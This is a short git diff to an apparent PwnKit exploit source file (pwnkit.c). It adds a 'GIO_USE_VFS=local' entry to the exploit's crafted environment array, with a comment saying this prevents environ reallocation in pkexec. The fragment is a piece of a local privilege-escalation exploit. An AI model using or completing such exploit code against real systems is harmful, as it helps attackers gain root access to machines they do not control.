diff --git a/pwnkit.c b/pwnkit.c index 865c7d8..3bd498b 100644 --- a/pwnkit.c +++ b/pwnkit.c @@ -114,6 +114,11 @@ int main() { * * */ "CHARSET=BRUH", + + // prevent environ reallocation + // https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c#L505 + + "GIO_USE_VFS=local", NULL };